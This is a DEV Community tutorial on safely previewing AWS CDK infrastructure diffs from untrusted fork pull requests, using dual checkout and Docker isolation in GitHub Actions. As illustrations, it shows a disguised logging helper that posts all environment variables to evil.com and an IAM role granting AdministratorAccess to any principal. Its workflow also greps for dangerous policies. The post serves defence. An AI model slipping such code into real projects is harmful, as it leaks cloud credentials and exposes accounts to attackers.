DEV Community

Dom Derrien
Dom Derrien

Posted on

The Trust Challenge: Safe Infrastructure Previews in Forked Workflows

Part 4 of "From Chaos to Control: Secure AWS Deployment Pipelines"

In our previous article, we built a solid foundation with branch protection and automated security scanning. But there's one challenge that keeps infrastructure teams awake at night: How do you safely preview infrastructure changes from contributors you don't fully trust?

This is the classic "trust dilemma" of modern DevOps. You need to see what infrastructure changes a PR will make before merging it, but you can't trust the code until it's been reviewed. In this article, we'll explore how to solve this challenge using dual-checkout patterns and Docker isolation.

The Infrastructure Security Dilemma

Picture this scenario: A contributor submits a PR with what looks like a simple IAM role change. The diff shows "Creating new service role" — seems innocent enough. But hidden in the CDK code is this:

new iam.Role({ assumedBy: new iam.AnyPrincipal(), // ← Opens your account to the world managedPolicies: [ iam.ManagedPolicy.fromAwsManagedPolicyName("AdministratorAccess") // ← Full admin access ] }) 
Enter fullscreen mode Exit fullscreen mode

Or consider this seemingly helpful logging function:

// Innocent-looking helper function function logDeploymentInfo() { const env = process.env; fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(env) // ← Steals all environment variables }); // including AWS credentials } 
Enter fullscreen mode Exit fullscreen mode

The dilemma: You need to preview the changes to understand their impact, but you cannot trust the code until it's been reviewed.

Understanding GitHub Actions Security Models

The pull_request Trigger: Safe but Limited

With the standard pull_request trigger, workflows run in the contributor's context:

pull_request Trigger Security Model ┌───────────────────────────────────────────────────────┐ │ Fork Repository Main Repository │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ PR Code │ │ Workflow runs │ │ │ │ (potentially │ ─runs in─→ │ with fork's │ │ │ │ malicious) │ │ limited perms │ │ │ └─────────────────┘ └─────────────────┘ │ │ │ │ ✅ Safe: No access to secrets │ │ ❌ Limited: Cannot read deployed infrastructure state │ └───────────────────────────────────────────────────────┘ 
Enter fullscreen mode Exit fullscreen mode

Problem: The fork doesn't have access to AWS credentials, so it can't generate meaningful infrastructure diffs.

The pull_request_target Trigger: Powerful but Dangerous

With pull_request_target, workflows run in the main repository's context:

pull_request_target Trigger Security Model ┌─────────────────────────────────────────────────────┐ │ Fork Repository Main Repository │ │ ┌─────────────────┐ ┌──────────────────┐ │ │ │ PR Code │ │ Workflow runs │ │ │ │ (potentially │ ─runs in─→ │ with main repo │ │ │ │ malicious) │ │ full permissions │ │ │ └─────────────────┘ └──────────────────┘ │ │ │ │ ✅ Powerful: Access to AWS credentials and secrets │ │ ❌ Dangerous: Malicious code can steal credentials │ └─────────────────────────────────────────────────────┘ 
Enter fullscreen mode Exit fullscreen mode

The Risk: Malicious code in the PR can now access your AWS credentials, secrets, and deployed infrastructure.

The Dual-Checkout Security Pattern

The solution is to separate trusted tooling from untrusted code using a dual-checkout pattern:

Dual-Checkout Security Architecture ┌─────────────────────────────────────────────────────────────┐ │ GitHub Actions Runner │ │ │ │ Trusted Code (Main Branch) Untrusted Code (PR Branch) │ │ ┌─────────────────────────┐ ┌──────────────────────────┐ │ │ │ / │ │ /untrusted-pr-code/ │ │ │ │ ├── .github/workflows/ │ │ ├── iac/ │ │ │ │ ├── iac/ │ │ │ ├── modified.ts │ │ │ │ │ ├── package.json │ │ │ └── new-stack.ts │ │ │ │ │ └── node_modules/ │ │ ├── serverless/ │ │ │ │ │ └── aws-cdk/ │ │ └── webapp/ │ │ │ │ └── serverless/ │ └──────────────────────────┘ │ │ └─────────────────────────┘ │ │ │ │ ✅ Trusted CDK CLI ❌ Untrusted infrastructure │ │ ✅ Trusted dependencies ❌ Untrusted build scripts │ │ ✅ Access to AWS ❌ Isolated from credentials │ └─────────────────────────────────────────────────────────────┘ 
Enter fullscreen mode Exit fullscreen mode

How It Works

  1. Checkout trusted code (main branch) to the runner root
  2. Install trusted dependencies including CDK CLI
  3. Checkout untrusted code (PR branch) to a separate subdirectory
  4. Run untrusted code using trusted tools only

This ensures that even if the PR contains malicious code, it cannot:

  • Replace the CDK CLI with a malicious version
  • Access AWS credentials directly
  • Modify the workflow execution environment

Docker: The Additional Isolation Layer

Even with dual-checkout, untrusted code still runs on the same system. Docker provides an additional isolation layer:

Docker Security Isolation ┌───────────────────────────────────────────────────────────┐ │ GitHub Actions Runner (Host) │ │ ┌───────────────────────────────────────────────────────┐ │ │ │ Docker Container (Isolated) │ │ │ │ │ │ │ │ ┌─────────────────┐ │ │ │ │ │ Untrusted Code │ → Limited to: │ │ │ │ │ • npm install │ • Read/write own files │ │ │ │ │ • tsc compile │ • Network access for npm │ │ │ │ │ • npm build │ • No access to host filesystem │ │ │ │ └─────────────────┘ • No access to host network │ │ │ │ • No access to AWS credentials │ │ │ └───────────────────────────────────────────────────────┘ │ │ │ │ Host maintains: │ │ • AWS credentials │ │ • Trusted CDK CLI │ │ • Access to deployed infrastructure │ └───────────────────────────────────────────────────────────┘ 
Enter fullscreen mode Exit fullscreen mode

Docker Security Benefits:

  • Prevents untrusted code from accessing host filesystem
  • Blocks network access to internal services
  • Isolates process execution
  • Limits resource consumption

Safe Infrastructure Diffing Workflow

Here's how the secure workflow operates:

Secure Infrastructure Preview Workflow ┌─────────────────────────────────────────────────────────────┐ │ 1. PR Submitted with IaC Changes │ │ └─→ Triggers pull_request_target workflow │ │ │ │ 2. Checkout Trusted Code (develop branch) │ │ ├─→ Install trusted CDK CLI and dependencies │ │ └─→ Configure AWS credentials (trusted environment) │ │ │ │ 3. Checkout Untrusted Code (PR branch) │ │ └─→ Isolated to /untrusted-pr-code/ subdirectory │ │ │ │ 4. Build Untrusted Code (Docker isolation) │ │ ├─→ npm ci (install dependencies) │ │ ├─→ tsc compile (TypeScript compilation) │ │ └─→ npm run build (build artifacts) │ │ │ │ 5. Synthesize Infrastructure (Docker isolation) │ │ ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk │ │ ├─→ Run with network, block all other accesses │ │ ├─→ Set the running command `node dist/bin/iac.js` │ │ └─→ Save output in folder cdk.out │ │ │ │ 6. Generate Infrastructure Diff (develop branch) │ │ ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk │ │ ├─→ Run against produced assets in `cdk.out` │ │ └─→ Save output in file `cdk.out` │ │ │ │ 7. Post Results (Docker isolation) │ │ └─→ cdk-notifier posts diff as PR comment │ └─────────────────────────────────────────────────────────────┘ 
Enter fullscreen mode Exit fullscreen mode

Key Security Measures

1. Trusted CDK CLI Usage

# ❌ Dangerous: Uses potentially malicious CDK from untrusted code npx cdk diff Develop # ✅ Safe: Uses trusted CDK CLI from parent directory ../../iac/node_modules/.bin/cdk diff Develop 
Enter fullscreen mode Exit fullscreen mode

2. Isolated Output Directory

# ❌ Dangerous: Might write to parent directory cdk diff Develop # ✅ Safe: Forces output to isolated directory cdk diff Develop --output cdk.out 
Enter fullscreen mode Exit fullscreen mode

3. Docker Process Isolation

# ❌ Dangerous: Runs directly on host cd untrusted-pr-code && npm ci # ✅ Safe: Runs in isolated container docker run --rm \ -v "$(pwd)/untrusted-pr-code:/workspace:rw" \ -w /workspace \ --user $(id -u):$(id -g) \ node:20-alpine \ npm ci 
Enter fullscreen mode Exit fullscreen mode

4. Credential Isolation

# The untrusted code never has direct access to: # - AWS_ACCESS_KEY_ID # - AWS_SECRET_ACCESS_KEY # - AWS_SESSION_TOKEN # - GITHUB_TOKEN (except limited scope for cdk-notifier) 
Enter fullscreen mode Exit fullscreen mode

Implementation: The Complete Secure Workflow

Now let's implement a production-ready workflow that puts these security patterns into practice:

name: CDK Diff Report # SECURITY WARNING: This workflow uses pull_request_target # It runs untrusted code with access to repository secrets # Only use after understanding the security implications on: pull_request_target: # Run in main repo context for status checks branches: [develop] types: [opened, synchronize, reopened] paths: - "iac/**" - "!iac/test/**" - ".github/workflows/report-infrastructure-diff.yml" # Prevent concurrent runs to avoid resource conflicts concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true env: AWS_REGION: eu-central-1 AWS_ACCOUNT: 274116565330 UNTRUSTED_CODE_FOLDER: untrusted-pr-code NODE_VERSION: "22" jobs: deploy: name: check diff to develop runs-on: ubuntu-latest # Timeout to prevent resource exhaustion attacks timeout-minutes: 15 permissions: id-token: write # AWS OIDC authentication contents: read # Read repository contents pull-requests: write # Post diff comments issues: write # Comment on PRs repository-projects: write # Update project boards env: BRANCH_NAME: ${{ github.head_ref || github.ref_name }} GITHUB_OWNER: ${{ github.repository_owner }} GITHUB_REPO: ${{ github.event.repository.name }} PULL_REQUEST_ID: ${{ github.event.pull_request.number }} steps: - name: Checkout Base Branch (Trusted Workflow Definition and Dependencies) uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.base.ref }} # Checkout the code of the develop branch - name: Setup Node.js uses: actions/setup-node@v4 with: node-version: ${{ env.NODE_VERSION }} cache: "npm" cache-dependency-path: package-lock.json # Project is NPM workspace compliant - name: Install all dependencies run: npm ci - name: Configure AWS credentials uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::${{ env.AWS_ACCOUNT }}:role/github-ci-role role-session-name: github-ci-infrastructure-diff aws-region: ${{ env.AWS_REGION }} - name: Check caller identity run: aws sts get-caller-identity # Fails fast if credentials broken - name: Checkout PR Head (Untrusted Code) uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} path: ./${{ env.UNTRUSTED_CODE_FOLDER }} # Checkout into a distinct sub-directory persist-credentials: false # Crucial: ensure no credentials are inserted into the checked-out URL - name: Prepare dependencies in the untrusted branch (from PR) run: | echo "Loading untrusted code dependencies in isolated Docker containers..." docker run --rm \ --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \ --workdir /workspace \ --user $(id -u):$(id -g) \ --env npm_config_cache=/tmp/.npm \ node:${{ env.NODE_VERSION }}-alpine \ npm ci docker run --rm \ --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \ --workdir /workspace \ --user $(id -u):$(id -g) \ --env npm_config_cache=/tmp/.npm \ node:${{ env.NODE_VERSION }}-alpine \ npm run build-all # Check diff the PR code to develop while using the trusted CDK CLI (from the parent folder) # This ensures that the CDK CLI is trusted and not influenced by untrusted code. # This is crucial to prevent potential security risks from untrusted code. - name: Check diff to develop working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }} run: | echo "- Step 1: cdk diff in isolated environment (no credentials, no network)" # First, synthesize the template WITHOUT credentials in completely isolated Docker ### Local shell equivalent: npm run build; npx cdk synth --output /tmp/cdk.out docker run --rm \ --volume "./:/workspace:rw" \ --volume "$(pwd)/../node_modules:/trusted-modules:ro" \ --workdir /workspace \ --user $(id -u):$(id -g) \ --cap-drop=ALL \ --memory=2g \ --cpu-shares=1024 \ --env npm_config_cache=/tmp/.npm \ node:${{ env.NODE_VERSION }} \ sh -c "cd iac && timeout 120s /trusted-modules/.bin/cdk synth Develop \ --app 'node dist/bin/iac.js' \ --output cdk.out \ --no-version-reporting > synth.log 2>&1" || { echo "❌ CDK synthesis failed - this might indicate malicious code trying to access network/credentials" exit 1 } echo "- Step 2: cdk.out content" ls -la ./iac/cdk.out echo "AWS_ACCOUNT: $AWS_ACCOUNT" echo "AWS_REGION: $AWS_REGION" echo "- Step 3: cdk diff in trusted environment" # Then, compare the synthesized template with the deployed stack using trusted CLI with AWS credentials ### Local shell equivalent: AWS_REGION=eu-central-1 AWS_ACCOUNT=274116565330 npx cdk diff Develop --app /tmp/cdk.out --progress=events --profile ... ../node_modules/.bin/cdk diff Develop \ --app "./iac/cdk.out" \ --progress=events \ --no-version-reporting \ &> cdk.log echo "- Step 4: cdk.log file" ls -la ./cdk.log - name: "Security Scan of Diff Output" working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }} run: | echo "- Step 1: cdk.log file" ls -la ./cdk.log echo "- Step 2: Basic security patterns to flag for review" if grep -E "(AdministratorAccess|PowerUserAccess|FullAccess)" cdk.log; then echo "⚠️ WARNING: Over privileged managed policies detected" echo "security-warning=true" >> $GITHUB_ENV fi if grep -E 'Action: "\*"' cdk.log; then echo "⚠️ WARNING: Wildcard actions in IAM policies detected" echo "security-warning=true" >> $GITHUB_ENV fi echo "- Step 3: Context-aware security check" webhook_context=$(grep -B 10 -A 10 'Principal: "\*"' cdk.log || true) if echo "$webhook_context" | grep -q "lambda:InvokeFunctionUrl"; then echo "✅ Webhook pattern detected - legitimate use of Principal: '*'" else if grep -q 'Principal: "\*"' cdk.log; then echo "⚠️ WARNING: Unrestricted principal access detected" echo "security-warning=true" >> $GITHUB_ENV fi fi echo "- Step 4: Look for actual resource destruction patterns" deletion_matches=$(grep -n -B 3 -A 3 -E "(\[-\]\s*AWS::|\.destroy\(\)|DeletionPolicy.*Delete|Stack.*DESTROY)" cdk.log || true) if [ -n "$deletion_matches" ]; then echo "⚠️ WARNING: Resource deletion detected" echo "📍 Found at:" echo "$deletion_matches" echo "destruction-warning=true" >> $GITHUB_ENV fi echo "🔍 Security scan completed. Warnings: security=${security-warning:-false}, destruction=${destruction-warning:-false}" # cdk-notifier # cSpell:ignore karlderkaefer - name: Post CDK diff to PR run: | echo "Create cdk-notifier report" docker run --rm \ --volume "./$UNTRUSTED_CODE_FOLDER/cdk.log:/app/cdk.log:ro" \ --env GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \ karlderkaefer/cdk-notifier:latest \ --owner $GITHUB_OWNER \ --repo $GITHUB_REPO \ --log-file /app/cdk.log \ --tag-id "diff-pr-$PULL_REQUEST_ID-to-develop" \ --pull-request-id $PULL_REQUEST_ID \ --vcs github \ --ci circleci \ --template extendedWithResources - name: "Fail the build if security or destruction warnings are present" if: env.security-warning == 'true' || env.destruction-warning == 'true' run: | echo "::warning title=Security Review Required::This PR contains potentially dangerous infrastructure changes that require careful review" exit 1 
Enter fullscreen mode Exit fullscreen mode

Understanding the Remaining Risks

Even with these protections, some risks remain:

1. cdk-notifier GITHUB_TOKEN Access

Limited Risk: cdk-notifier Tool Access ┌────────────────────────────────────────────────────────────┐ │ Risk: cdk-notifier has GITHUB_TOKEN access │ │ │ │ Mitigations: │ │ • Token has limited permissions (pull-requests: write) │ │ • Token is short-lived (expires with workflow) │ │ • Tool runs in separate Docker container │ │ • Tool is from trusted source (karlderkaefer/cdk-notifier) │ │ │ │ Potential Impact: │ │ • Could post malicious comments on PRs │ │ • Could access public repository information │ │ • Cannot access AWS resources or secrets │ └────────────────────────────────────────────────────────────┘ 
Enter fullscreen mode Exit fullscreen mode

2. CDK Synthesis-Time Code Execution

// Risk: Malicious code in CDK constructs runs during synthesis export class MaliciousStack extends Stack { constructor(scope: Construct, id: string) { super(scope, id); // This code runs during 'cdk diff' and could be malicious maliciousFunction(); } } 
Enter fullscreen mode Exit fullscreen mode

Mitigation: The Docker isolation prevents most damage, but code review remains essential.

3. Diff Output Manipulation

Malicious code could try to hide dangerous changes in the diff output, but this is limited by:

  • The trusted CDK CLI generates the actual diff
  • The isolated output directory prevents tampering
  • Code review catches suspicious patterns

Key Benefits of This Approach

  • Security: Multiple layers protect against credential theft and malicious code
  • Functionality: Provides meaningful infrastructure previews for review
  • Trust: Separates trusted tooling from untrusted code
  • Scalability: Works for both small projects and large monorepos
  • Maintainability: Uses standard tools and patterns

Best Practices for Implementation

  1. Always use dual-checkout pattern for pull_request_target workflows
  2. Implement Docker isolation for untrusted code execution
  3. Use trusted tooling (CDK CLI, dependencies) from main branch
  4. Implement security scanning of diff outputs
  5. Set up monitoring for unusual activity
  6. Maintain code review discipline as the final security layer

Looking Ahead

The dual-checkout pattern with Docker isolation provides a robust solution for safely previewing infrastructure changes from untrusted sources. While it doesn't eliminate all risks, it significantly reduces the attack surface and provides multiple layers of protection.

The key insight is that you can run untrusted code safely if you control the execution environment and the tools used to process it. By maintaining strict separation between trusted tooling and untrusted code, you can provide valuable infrastructure previews without compromising your deployment pipeline's security.

In our final article, we'll bring everything together with real-world lessons learned and practical tips for implementing these security patterns in your organization.


Remember: This security model is only as strong as your code review process. Automated security measures protect against accidental exposure, but human review remains essential for catching malicious intent.

Next in series: Lessons Learned: Building Secure Pipelines in Practice

Top comments (0)